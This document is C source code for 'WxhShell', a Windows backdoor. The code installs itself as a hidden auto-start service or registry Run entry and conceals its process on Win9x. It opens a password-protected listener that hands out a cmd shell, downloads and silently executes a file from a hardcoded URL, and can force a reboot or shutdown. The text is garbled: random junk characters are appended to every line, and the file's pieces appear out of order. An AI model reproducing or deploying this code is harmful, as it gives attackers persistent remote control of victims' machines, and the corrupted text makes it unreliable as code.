    if(Boot(SHUTDOWN)) (s ;zRb!4L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9':/Sab:7v  
    else { oAaf)?8  
    closesocket(wsh); ^9s"FdB]24  
    ExitThread(0); ~Zu}M>-^c,  
    } ;&q]X]bJ  
    break; 97(n\Wt 2  
    } W%WC(/hor  
  // 获取shell fSr`>UpxC  
  case 's': { ^^eV4Y5`+  
    CmdShell(wsh); jQkUNPHu  
    closesocket(wsh); }I)z7l.  
    ExitThread(0); p KnIQa[c  
    break; , uO?;!t  
  } LjCykk  
  // 退出 <0>[c<{V<  
  case 'x': { UFL0 K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c<>y!^g  
    CloseIt(wsh); ~n8F7  
    break; VD9J}bgJ  
    } cT I,1U  
  // 离开 /XN*)m  
  case 'q': { n-W?Z'H{r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @T_O6TcY  
    closesocket(wsh); *n,UOHlO  
    WSACleanup(); m qpd  
    exit(1); '/dTqg*W  
    break; ?N(u4atC  
        } \DaLHC~  
  } sb 8dc  
  } BjN{@ aEO  
K/~Y!?:J r  
  // 提示信息 ti+pUlVrM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]2P/G5C3tU  
} 4sI3(z)9H  
  } "AV1..mu  
yTP[,bM  
  return; ?$2q P`-  
} S7Qen6lm  
FU'^n6[<B  
// shell模块句柄 `9:v*KuM#R  
int CmdShell(SOCKET sock) g:;Ya?5N  
{ b5[f 5  
STARTUPINFO si; =>P_mPP=  
ZeroMemory(&si,sizeof(si)); 9*f2b.Aj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6NU8HJp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e K\|SQb  
PROCESS_INFORMATION ProcessInfo; 7L1\1E:!  
char cmdline[]="cmd"; gW/QFZjY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2Qw )-EB  
  return 0; #wGQv  
} AUu5g  
>c&4_?d&,A  
// 自身启动模式 K90D1sD  
int StartFromService(void) {jrZ?e-q  
{ IruyE(;HS  
typedef struct G3oxa/mO  
{ #*[,woNk  
  DWORD ExitStatus; 2lX[hFa5  
  DWORD PebBaseAddress; vI4%d,  
  DWORD AffinityMask; 9UB??049z  
  DWORD BasePriority; 2&suo!ig  
  ULONG UniqueProcessId; {_": / A  
  ULONG InheritedFromUniqueProcessId; P*}9,VoY  
}   PROCESS_BASIC_INFORMATION; h5<T.vV  
h 3eGq:!9  
PROCNTQSIP NtQueryInformationProcess; Xqc'R5C w  
X S6]C{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f2BS[$oV4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2Zv,K-G  
Mr#oT?  
  HANDLE             hProcess; ScM} m  
  PROCESS_BASIC_INFORMATION pbi; O_qu;Dx!  
{hlT` K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *7)S%r,?  
  if(NULL == hInst ) return 0; .LWOM8)  
rE!G,^_{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y'3k E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0G~%UYB-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h9,wiT  
bM*Pcxv  
  if (!NtQueryInformationProcess) return 0; AM1/\R  
}G"r3*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q>cL?ie  
  if(!hProcess) return 0; Xi1q]ps  
U` ? zC~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o'9OPoof:.  
m$j n5:  
  CloseHandle(hProcess); rTN"SQt  
B:.;,@r]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]C9%]`  
if(hProcess==NULL) return 0; <K|3Q'(S  
ex0 kb  
HMODULE hMod; oHYD_8'f  
char procName[255]; 6R3"L]J  
unsigned long cbNeeded; %4QoF  
H>gWxJ 5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O('i*o4!}  
d=Rk\F'^J  
  CloseHandle(hProcess); vE^h}~5U  
qk"oFP6  
if(strstr(procName,"services")) return 1; // 以服务启动 PPuXas?i  
z226yNlS  
  return 0; // 注册表启动 >$#*`6R  
} M6@'9E]|>  
(cPeee%Q  
// 主模块 Hsd|ka$x>  
int StartWxhshell(LPSTR lpCmdLine) *l-Dh:  
{ U*`  
  SOCKET wsl; 6qz!M  
BOOL val=TRUE; ,f-T1v"  
  int port=0; ]6?c8/M  
  struct sockaddr_in door; n.;5P {V1  
=woqHTR  
  if(wscfg.ws_autoins) Install(); ;] l{D}  
eG[umv.9b  
port=atoi(lpCmdLine); PHe~{"|d?  
o O{|C&A  
if(port<=0) port=wscfg.ws_port; LaEX kb*s  
l^!0|/Vw  
  WSADATA data; H|UV+Q0,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; te!]9rR  
c0,gfY%sI$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7cOg(6N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^`hI00u(  
  door.sin_family = AF_INET; OuYE-x2]x"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %WJ\'@O\  
  door.sin_port = htons(port); pw(U< )  
\'}/&PCkr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "63zc 1  
closesocket(wsl); gMoyy  
return 1; 'Wx\"]:  
} j? Jd@(*y$  
(e bBH  
  if(listen(wsl,2) == INVALID_SOCKET) { FrAqTz  
closesocket(wsl); .MzP}8^  
return 1; #%} u8\q  
} p;c_<>ws-Y  
  Wxhshell(wsl); IV 3@6t4k  
  WSACleanup(); w|hyU4- ^  
r(?'Yy  
return 0; 0k] ju  
h M1&A  
} qxecp2>U  
@wAr[.lZ  
// 以NT服务方式启动 %$9)1"T0Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +r#=n7 t  
{  5Xy^I^J  
DWORD   status = 0; N('S2yfDR  
  DWORD   specificError = 0xfffffff; )N%1%bg^-  
FS]+s>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MK!]y8+Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ztpm_P6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J?qcRg`1E  
  serviceStatus.dwWin32ExitCode     = 0; 5@r_<J<>  
  serviceStatus.dwServiceSpecificExitCode = 0; ]C!Y~  
  serviceStatus.dwCheckPoint       = 0; 8g2-8pa{  
  serviceStatus.dwWaitHint       = 0; *Wuctu^9  
m_PrasZ>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]<o.aMdV  
  if (hServiceStatusHandle==0) return; (x@i,Ba@  
QB.*R?A  
status = GetLastError(); ;?HZ,"^I  
  if (status!=NO_ERROR) AT'_0> x8  
{ 'nj&}A'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k_|v)\4B  
    serviceStatus.dwCheckPoint       = 0; wr;|\<c  
    serviceStatus.dwWaitHint       = 0; 8n."5,P  
    serviceStatus.dwWin32ExitCode     = status; Ep,0Z*j  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5LhJ8$W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x" :Bw;~  
    return; J:TI>*tn  
  } Zc' >}X[G  
O>"r. sR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,N@Icl  
  serviceStatus.dwCheckPoint       = 0; *nUpO]  
  serviceStatus.dwWaitHint       = 0; c|;|%"Mk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !Z0rTC3d  
} r{6B+3J  
<>5:u  
// 处理NT服务事件,比如:启动、停止 OV@h$fg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l]58P  
{ Z+h7 0,|  
switch(fdwControl) ~jRk10T(B  
{ UV *tO15i  
case SERVICE_CONTROL_STOP: xjn8)C  
  serviceStatus.dwWin32ExitCode = 0; PE6u8ZAb"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a*n%SUP  
  serviceStatus.dwCheckPoint   = 0; :x*|lz[  
  serviceStatus.dwWaitHint     = 0; ]rX?n  
  { }9+1<mT9a/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dnWt\>6& 2  
  } 3{#pd6e5  
  return; g$^qQs)^N  
case SERVICE_CONTROL_PAUSE: $X<<JnsK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uB#B\i  
  break; ph&H*Mc  
case SERVICE_CONTROL_CONTINUE: by:xD2 5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >-@{vyoOy  
  break; % OfDTs  
case SERVICE_CONTROL_INTERROGATE: b]qfcV  
  break; />2$ XwP  
}; G4J6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ry En  
}  !k??Kj  
1n5e^'z  
// 标准应用程序主函数 p7=^m>Z6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p ra-8z-  
{ )]>Y*<s }  
__zu- !v  
// 获取操作系统版本 Sy0s `\[  
OsIsNt=GetOsVer(); [ sO<6?LY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VL!kX``^F  
{msB+n~WZ  
  // 从命令行安装 "a`0w9Mm}  
  if(strpbrk(lpCmdLine,"iI")) Install(); *,XJN_DKj  
s:Ql](/B#  
  // 下载执行文件 r1[T:B'  
if(wscfg.ws_downexe) { n)?F 9Wap  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o? xR[N-J  
  WinExec(wscfg.ws_filenam,SW_HIDE); bHH}x"d[x  
} !.GY~f<d$  
.=w`T #L  
if(!OsIsNt) { ]H9HO2wGQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 4.kkxQR7r  
HideProc(); Y;5^w=V  
StartWxhshell(lpCmdLine); JA(q>>4  
} +?m=f}>W1  
else w!h{P38  
  if(StartFromService()) Lzx(!<v  
  // 以服务方式启动 2Lu{@*  
  StartServiceCtrlDispatcher(DispatchTable); xg1r 3  
else _<~Vxz9  
  // 普通方式启动 w.F3o4YP  
  StartWxhshell(lpCmdLine); u'n%BVt   
xXh]z |  
return 0; Bma|!p{  
} 4hr+GO@o(  
g8 *|" {  
]~<T` )Hi  
5xV/&N  
=========================================== C5z  
I$qtfGr  
McI4oD~"  
['YRY B  
-a^sX%|Bl  
ez9M]! 8Lt  
" fq!6#Usf;i  
vlKKPS  
#include <stdio.h> eDZ3SIZ  
#include <string.h> X1~A "sW[  
#include <windows.h> x=r6vOj  
#include <winsock2.h> uRcuy/CY  
#include <winsvc.h> .BTT*vL-  
#include <urlmon.h> F"0jr7  
DppvUiQB!a  
#pragma comment (lib, "Ws2_32.lib") `2~Ea_Z  
#pragma comment (lib, "urlmon.lib") X OtS+p  
(%IstR|u:  
#define MAX_USER   100 // 最大客户端连接数 H.S|njn:r  
#define BUF_SOCK   200 // sock buffer ]vyF&`phb  
#define KEY_BUFF   255 // 输入 buffer "@|V.d@  
u= i^F|  
#define REBOOT     0   // 重启 2&f=4b`Z  
#define SHUTDOWN   1   // 关机 WW/m /+  
2/gj@>dt  
#define DEF_PORT   5000 // 监听端口 T`DlOi]Z_  
rca"q[,  
#define REG_LEN     16   // 注册表键长度 F(n))`(  
#define SVC_LEN     80   // NT服务名长度 ",@g  
Xg#([}b  
// 从dll定义API TKydOw@P"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (Q} ijwj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L}pFb@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PbH]K$mj{"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y##P9^zH1  
b#'a4j-u  
// wxhshell配置信息 ] ]-0RJ=S?  
struct WSCFG { _C#( )#  
  int ws_port;         // 监听端口 H~K2`Cr)4  
  char ws_passstr[REG_LEN]; // 口令 <NsT[r~C  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nfvg[c  
  char ws_regname[REG_LEN]; // 注册表键名 6$;)CO!h  
  char ws_svcname[REG_LEN]; // 服务名 7i8qB462  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r?>Hg+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @g2L=XF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }u)G ERWO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TBp5xz`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #gT^hl5/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %),O9*[9  
pjn%CR`;  
}; %NoZf^ ?  
B{KD  ]  
// default Wxhshell configuration bW3o%srxa  
struct WSCFG wscfg={DEF_PORT, PiQs><FK8  
    "xuhuanlingzhe", N4NH)x  
    1, <b40\Z{+  
    "Wxhshell", VqU:`?#"a  
    "Wxhshell", fJV VW  
            "WxhShell Service", u^[v{hv'H  
    "Wrsky Windows CmdShell Service", iKKWn*u  
    "Please Input Your Password: ", / /rWc,c  
  1, Om~C0  
  "http://www.wrsky.com/wxhshell.exe", ikiy>W8  
  "Wxhshell.exe" $KFWV2P  
    }; uV:;y}T^Z  
C#0Wo  
// 消息定义模块 '2#fkH[.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >>xV-1h:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *(IO<KAg8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; " <AljgF  
char *msg_ws_ext="\n\rExit."; FeMu`|2  
char *msg_ws_end="\n\rQuit."; A*i_- ;W)  
char *msg_ws_boot="\n\rReboot..."; FZ/&[;E!  
char *msg_ws_poff="\n\rShutdown..."; ;OyM~T gI  
char *msg_ws_down="\n\rSave to "; sva$@y7b  
\2b9A' d>  
char *msg_ws_err="\n\rErr!"; Ut=y`]F  
char *msg_ws_ok="\n\rOK!"; a{,t@G  
GUX X|W[6  
char ExeFile[MAX_PATH]; xFnMXh t  
int nUser = 0; F,:VL*.5kJ  
HANDLE handles[MAX_USER]; sl 5wX  
int OsIsNt; +w5?{J  
nQ6'yd"  
SERVICE_STATUS       serviceStatus; }@4*0_g"Aw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?[">%^  
4 XQ?By  
// 函数声明 vX%gcs/@  
int Install(void); ZQ/5]]}3y  
int Uninstall(void); eL!6}y}W  
int DownloadFile(char *sURL, SOCKET wsh); df\>-Hl  
int Boot(int flag); 9tQk/niMM5  
void HideProc(void); jL1UPN  
int GetOsVer(void); eu;^h3u;b  
int Wxhshell(SOCKET wsl); Q4*cL5j  
void TalkWithClient(void *cs); t|lv6-Hy9  
int CmdShell(SOCKET sock); p(>'4#|qy  
int StartFromService(void); ^j7pF.j  
int StartWxhshell(LPSTR lpCmdLine); {BU,kjv1g  
D bJ(N h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z{x -Vfd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EK^2 2vi$  
us+adS.l&  
// 数据结构和表定义 X}Fv*  
SERVICE_TABLE_ENTRY DispatchTable[] = Y$^QH.h  
{ q?\D9aT9  
{wscfg.ws_svcname, NTServiceMain}, HC+R :Dz  
{NULL, NULL} #>'0C6Xn  
}; /-lmfpT  
2F(j=uV+  
// 自我安装 v/dcb%  
int Install(void) }S4Fy3)  
{ c,^-nH'X>  
  char svExeFile[MAX_PATH]; FTe#@\I  
  HKEY key; =t2epIr 5  
  strcpy(svExeFile,ExeFile); NKws;/u  
E~ kmU{D  
// 如果是win9x系统,修改注册表设为自启动 G y2XjO8b  
if(!OsIsNt) { |99eDgK,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LTHS&3% 2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XRkqMq%  
  RegCloseKey(key); Jt"Wtr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V96BtV sB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W0k_"uI  
  RegCloseKey(key); 2~ a4ib  
  return 0; }$ der  
    } 7=9jXNk Y  
  } ]g :ZokU  
} uwJkqlUOz  
else { s~CA @  
3L|k3 `I4  
// 如果是NT以上系统,安装为系统服务 *h1@eJHMz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )U` c9*.  
if (schSCManager!=0) |u[gI+TUE  
{ rxA<\h,A  
  SC_HANDLE schService = CreateService P^UcpU,  
  ( 7w|s8B  
  schSCManager, 6822xk  
  wscfg.ws_svcname, tp"\  
  wscfg.ws_svcdisp, "$_ypgRrSR  
  SERVICE_ALL_ACCESS, 1mqFnVkf&+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .1;?#t]ZV  
  SERVICE_AUTO_START, )I@iW\`7  
  SERVICE_ERROR_NORMAL, `XQ5>c  
  svExeFile, ?zEgN!\R)  
  NULL, =0S7tNut  
  NULL, \c)XN<HH  
  NULL, p%BO:%v  
  NULL, k95vgn%  
  NULL &IPT$=u  
  ); hwJ.M4  
  if (schService!=0) )%6v~,'3Y  
  { |j;`;"+B  
  CloseServiceHandle(schService); 6tM{cK%v1  
  CloseServiceHandle(schSCManager); -kO=pYP*O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ocvBKsfhE`  
  strcat(svExeFile,wscfg.ws_svcname); D c^d$gh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7^1ikmYY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [0 $Y@ek[  
  RegCloseKey(key); `?:'_K i  
  return 0; 0)Z7U$  
    } #AHIlUH"m  
  } +_<# 8v  
  CloseServiceHandle(schSCManager); 4dO>L"  
} u4Sa4o  
} lWR  
v'uQ'CiH  
return 1; IKt9=Tx  
} D~<GVp5T  
?~$y3<[  
// 自我卸载 2-]m#}zbP  
int Uninstall(void) {)+/w"^.  
{ >z2 {D7  
  HKEY key; |67UN U  
*m7e>]-  
if(!OsIsNt) { ZISR]xay  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;-3M  
  RegDeleteValue(key,wscfg.ws_regname); W$y?~2  
  RegCloseKey(key); aPbHrk*/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uo0(W3Q *  
  RegDeleteValue(key,wscfg.ws_regname); r=vE0;7  
  RegCloseKey(key); 2b<0g@~X  
  return 0; z}5XLa^  
  } Y9Pb  
} !vU[V,~  
} =LC5o2bLy  
else { = #`FXO1C  
:c\NBKHv*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ',.Xn`c  
if (schSCManager!=0) `bi5#xR  
{ GRNH!:e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yfU1;MI  
  if (schService!=0) 87-oR}/r  
  { Y=5hm  
  if(DeleteService(schService)!=0) { rkD(K G9E  
  CloseServiceHandle(schService); %Z.!Bm:  
  CloseServiceHandle(schSCManager); EV}%D9:  
  return 0; XjV7Ew^7  
  } - na]P3 s  
  CloseServiceHandle(schService); f~53:;L/  
  } bY`k`3v  
  CloseServiceHandle(schSCManager); }"szL=s  
} ,HkJ.6KF  
} |i|O9^*%  
$wBUu   
return 1; V3UEuA  
} n4ISHxM  
m~}nM|m%  
// 从指定url下载文件 }5A?WH_  
int DownloadFile(char *sURL, SOCKET wsh) yVW)DQ 4?  
{ n9#@ e}r  
  HRESULT hr; <|{=O9  
char seps[]= "/"; P\Ka'i  
char *token; /rquI y^  
char *file; #PiW\Tq  
char myURL[MAX_PATH]; 6pH.sX$!_  
char myFILE[MAX_PATH]; 2 nf{2edC  
Y,+$vj:y8  
strcpy(myURL,sURL); CzwnmSv{.  
  token=strtok(myURL,seps); U+\\#5$  
  while(token!=NULL) uG/Zpi  
  { S2`p&\Ifn  
    file=token; GhX>YzD7  
  token=strtok(NULL,seps); f>Ge Em~  
  } + 5 05  
G-Y8<mEh  
GetCurrentDirectory(MAX_PATH,myFILE); ^JH 4: h  
strcat(myFILE, "\\"); rx%lL  
strcat(myFILE, file); +] FdgmK:  
  send(wsh,myFILE,strlen(myFILE),0); N^O.P  
send(wsh,"...",3,0); NZv1dy`fa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0(]C$*~mk  
  if(hr==S_OK) vzfWPjpKW  
return 0; huO_ARwK'  
else f- _~rQ  
return 1; `}18A.K  
m'Ran3rp  
} Qv#]T,  
h]I ^%7  
// 系统电源模块 *S7<QyVh  
int Boot(int flag) Mu TlN  
{ W<\KRF$S;  
  HANDLE hToken; Fvg>>HVu  
  TOKEN_PRIVILEGES tkp; o4U9jU4<"  
3d[fP#NY7  
  if(OsIsNt) { gd2cwnP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6m?}oMz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rq>@ 0i  
    tkp.PrivilegeCount = 1; QO~!S_FRH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h^cM#L^B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m$ "B=b2  
if(flag==REBOOT) { g%Eb{~v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0ZTT^2R  
  return 0; y%f'7YZ4  
} T$!. :v  
else { d7A vx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (V#5Cs,o:  
  return 0; ym^  
} WS4J a$*  
  } %R."  
  else { \Gg6&:Ua  
if(flag==REBOOT) { &iez{[O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %qNT<>c  
  return 0; Db@$'  
} ji5c0WH  
else { `StlG=TB8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T=%,^  
  return 0; 4 1q|R[js!  
} r761vtC#  
} zW8rC!  
O,u$L  
return 1; 8!sl) R  
} JZB7?@h%  
(} ?")$.  
// win9x进程隐藏模块 <A<N? `"  
void HideProc(void) /d*d'3{c  
{ N 8 n`f  
^O}`i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )CKPzNf  
  if ( hKernel != NULL ) ^z)p@sk#  
  { O!#r2Y"?K1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '| WY 2>/(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,#m:U5#h  
    FreeLibrary(hKernel); {W,&jC  
  } kIrb;bZ+l  
fgdqp8~  
return; h8'`g 0  
} bL-+  
dD ?ZF6  
// 获取操作系统版本 NSI$uS6  
int GetOsVer(void) E+)3n[G  
{ n 'gU  
  OSVERSIONINFO winfo; ir !/{IQx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4d-f 6iiFV  
  GetVersionEx(&winfo); ~lib~Y'-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) it77x3Mm F  
  return 1; c&X2k\  
  else mQUI9  
  return 0; 2!QQypQ  
} /-s-W<S[  
ZW7z[,tk<.  
// 客户端句柄模块 (ZSd7qH"  
int Wxhshell(SOCKET wsl) d;@"Naw  
{ stQRl_('  
  SOCKET wsh; VUmf;~  
  struct sockaddr_in client; cao=O \Y7  
  DWORD myID; -aPRL HR  
|kGj}v3  
  while(nUser<MAX_USER) z[|2od  
{ iC2``[m"  
  int nSize=sizeof(client); -?z#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )xm[mvt  
  if(wsh==INVALID_SOCKET) return 1; {#y~ Qk;T  
x18(}4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /xq^]0xy  
if(handles[nUser]==0) 8n??/VDRl  
  closesocket(wsh); X)Zc*9XA  
else |r['"6  
  nUser++; XCvL`  
  } Cg_9V4h.C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uHeKttR-  
SFJ"(ey$  
  return 0; lV".-:u_  
} q]Vxf!0*>  
J~}sQ{ 0  
// 关闭 socket ANWfRtiU#  
void CloseIt(SOCKET wsh) z>]P_E~`}  
{ nEHmiG  
closesocket(wsh); m)Ta5w^  
nUser--; O#Ma Z.=  
ExitThread(0); ^m Ua5w  
} 6U9F vPJ  
1Be/(pSc  
// 客户端请求句柄 m941 Y  
void TalkWithClient(void *cs) WF] |-)vw  
{ ghGpi U$  
pF/s5z  
  SOCKET wsh=(SOCKET)cs; q{Ao j  
  char pwd[SVC_LEN]; g>E.Snj}  
  char cmd[KEY_BUFF]; k@Qd:I;;  
char chr[1]; &ea6YQ  
int i,j; 4ibOVBG:*,  
#?"^:,Y  
  while (nUser < MAX_USER) { OMf w#  
,J(shc_F  
if(wscfg.ws_passstr) { (h"-#q8$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PCx:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HjCe/J ;  
  //ZeroMemory(pwd,KEY_BUFF); eHb@qKnf  
      i=0;  I9Lt>*  
  while(i<SVC_LEN) { [,L>5:T  
T].Xx`  
  // 设置超时 YJGP8  
  fd_set FdRead; otA'+4\  
  struct timeval TimeOut; G4rd<V0[D  
  FD_ZERO(&FdRead); ^u(-v/D9  
  FD_SET(wsh,&FdRead); |BBo  
  TimeOut.tv_sec=8; $+|. @ss  
  TimeOut.tv_usec=0; E5qt~:C|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IN_O!c0e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?t)Mt]("  
a(IUAh*mO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XM f>B|  
  pwd=chr[0]; LEuDDJ -  
  if(chr[0]==0xd || chr[0]==0xa) { TXT!Ae  
  pwd=0; dWTc3@xd  
  break; xc}kDpF=g  
  } f|6 Y  
  i++; s~06%QEG  
    } `{%ImXQF  
&G!~@\tMg  
  // 如果是非法用户,关闭 socket BD- c<K"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dy&{PeE!  
} 5[LDG/{Tys  
BdB9M8fM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LNcoTdv}k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =%SH2kb  
+,]_TxL|C  
while(1) { 0YZ66VN!  
<ivq}(%72  
  ZeroMemory(cmd,KEY_BUFF); v]\T&w%9  
ioBYxbY`  
      // 自动支持客户端 telnet标准   CHyT'RT  
  j=0; 3tW}a`z9  
  while(j<KEY_BUFF) { ivg W[]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3aw-fuuIb  
  cmd[j]=chr[0]; xwu b-yz  
  if(chr[0]==0xa || chr[0]==0xd) { yMEI^,0"  
  cmd[j]=0; WC Y5F  
  break; T 9FGuit9  
  } ,]tEh:QC  
  j++; ;o158H$gz;  
    } [>LO'}%  
iUbcvF3aP  
  // 下载文件 iD.p KG  
  if(strstr(cmd,"http://")) { cx[[K.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i0u`J  
  if(DownloadFile(cmd,wsh)) RdB,;Um9f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5?A<('2  
  else `(r0+Qx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Z8wUG  
  } d ATAH}r&  
  else { CF6qEG6  
p7W9?b9  
    switch(cmd[0]) { 0ybMI+*  
  Ej $.x6:  
  // 帮助 U8{^-#(Uz  
  case '?': { Wcbm,O4u  
